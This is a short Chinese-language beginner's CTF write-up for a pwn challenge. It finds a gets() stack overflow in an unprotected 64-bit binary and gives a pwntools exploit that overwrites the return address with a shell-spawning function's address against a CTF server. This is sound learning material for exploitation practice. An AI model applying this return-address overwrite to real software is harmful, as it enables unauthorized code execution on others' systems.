前言
今天开始学pwn,以练促学,学以致用,加油加油
0x01
拿到文件,首先检查一下是多少位的,如图
可以看到是64位的文件
检查是否有保护,如图
看到没有任何保护
0x02
ida分析一下函数的逻辑
进入到反汇编如下,代码逻辑就是让我们输入,然后结束,我们主要看一下gets,因为gets有栈溢出漏洞
我们发现输入的地址空间大小为15,然后就执行函数返回地址,那么我们直接在15后将系统命令函数地址填入即可,或者直接写函数的名称,然后取函数地址也可以
0x03
exp
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
elf = ELF("pwn1")
system_addr = elf.symbols["fun"]
content = 0
def main():
if content == 1:
p = process("pwn1")
else:
p = remote("node3.buuoj.cn",29922)
payload = b'a'*15 + p64(system_addr)
p.sendline(payload)
p.interactive()
main()
运行结果
拿到flag